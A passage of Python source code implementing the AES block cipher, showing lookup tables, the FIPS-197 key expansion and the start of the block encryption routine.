0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
859    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
860
861    # Transformations for decryption key expansion
862    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
863    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
864    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
865    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
866
867    def __init__(self, key):
868
869        if len(key) not in (16, 24, 32):
870            raise ValueError('Invalid key size')
871
872        rounds = self.number_of_rounds[len(key)]
873
874        # Encryption round keys
875        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
876
877        # Decryption round keys
878        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
879
880        round_key_count = (rounds + 1) * 4
881        KC = len(key) // 4
882
883        # Convert the key into ints
884        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
885
886        # Copy values into round key arrays
887        for i in xrange(0, KC):
888            self._Ke[i // 4][i % 4] = tk[i]
889            self._Kd[rounds - (i // 4)][i % 4] = tk[i]
890
891        # Key expansion (fips-197 section 5.2)
892        rconpointer = 0
893        t = KC
894        while t < round_key_count:
895
896            tt = tk[KC - 1]
897            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
898                      (self.S[(tt >>  8) & 0xFF] << 16) ^
899                      (self.S[ tt        & 0xFF] <<  8) ^
900                       self.S[(tt >> 24) & 0xFF]        ^
901                      (self.rcon[rconpointer] << 24))
902            rconpointer += 1
903
904            if KC != 8:
905                for i in xrange(1, KC):
906                    tk[i] ^= tk[i - 1]
907
908            # Key expansion for 256-bit keys is "slightly different" (fips-197)
909            else:
910                for i in xrange(1, KC // 2):
911                    tk[i] ^= tk[i - 1]
912                tt = tk[KC // 2 - 1]
913
914                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^
915                               (self.S[(tt >>  8) & 0xFF] <<  8) ^
916                               (self.S[(tt >> 16) & 0xFF] << 16) ^
917                               (self.S[(tt >> 24) & 0xFF] << 24))
918
919                for i in xrange(KC // 2 + 1, KC):
920                    tk[i] ^= tk[i - 1]
921
922            # Copy values into round key arrays
923            j = 0
924            while j < KC and t < round_key_count:
925                self._Ke[t // 4][t % 4] = tk[j]
926                self._Kd[rounds - (t // 4)][t % 4] = tk[j]
927                j += 1
928                t += 1
929
930        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
931        for r in xrange(1, rounds):
932            for j in xrange(0, 4):
933                tt = self._Kd[r][j]
934                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
935                                  self.U2[(tt >> 16) & 0xFF] ^
936                                  self.U3[(tt >>  8) & 0xFF] ^
937                                  self.U4[ tt        & 0xFF])
938
939    def encrypt(self, plaintext):
940        """
941        Encrypt a block of plain text using the AES block cipher
942
943        `Required`
944        :param str plaintext:       16 byte block of plaintext
945
946        """
947        if len(plaintext) != 16:
948            raise ValueError('wrong block length')
949
950        rounds = len(self._Ke) - 1
951        (s1, s2, s3) = [1, 2, 3]
952        a = [0, 0, 0, 0]
953
954        # Convert plaintext to (ints ^ key)
955        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
956
957        # Apply round transforms
958        for r in xrange(1, rounds):
959            for i in xrange(0, 4):
960                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^
961                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
962                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^
963                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^
964                        self._Ke[r][i])
965            t = copy.copy(a)
966
967        # The last round is special
968        result = [ ]
969        for i in xrange(0, 4):
970            tt = self._Ke[rounds][i]
